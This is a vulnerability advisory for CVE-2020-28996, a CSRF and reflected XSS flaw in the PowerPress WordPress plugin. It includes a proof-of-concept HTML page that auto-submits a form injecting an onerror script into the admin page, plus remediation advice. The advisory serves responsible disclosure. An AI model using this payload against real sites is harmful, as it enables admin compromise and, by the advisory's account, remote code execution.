Disclosed vulnerabilities
Fixed: Nov 30, 2020
CVE-2020-28996 Published: Nov 30, 2020

CSRF and Reflected XSS in PowerPress Wordpress plugin

8.2 High Severity CSRF RCE Reflected XSS wordpress XSS
Ron Masas Reported by Checkmarx Zero

Summary

Affected versions of Powerpress WordPress plugin are vulnerable to a reflected XSS and CSRF to the admin page. Combining the two vulnerabilities an attacker could achieve an RCE.

Product

Powerpress WordPress plugin before version 8.4.5

Impact

Exploiting XSS on an admin in WordPress could result in RCE when editing a plugin code.

Steps to reproduce

  1. WordPress with the vulnerable plugin installed on port 8000.
  2. Admin navigates to
    <html><head></head>
    <body>
     <form action="http://localhost:8000/wp-admin/admin-ajax.php?action=powerpress_metamarks_addrow" method="POST">
         <input type="text" name="next_row" value='"><img src=v onerror=alert(1) >' />
         <input type="text" name="action" value="powerpress_metamarks_addrow" />
         <button>Submit</button>
     </form>
     <script>
         document.querySelector('form').submit();
     </script>
    </body></html>

Expected result:

Powerpress settings page will show with a javascript alert.

Remediation

Update Powerpress plugin to 8.4.5 or above.

Credit

This issue was discovered and reported by Checkmarx SCA Security Researcher @ronmasas (Ron Masas).

Resources

  1. Commit

Stay connected and never miss a research update!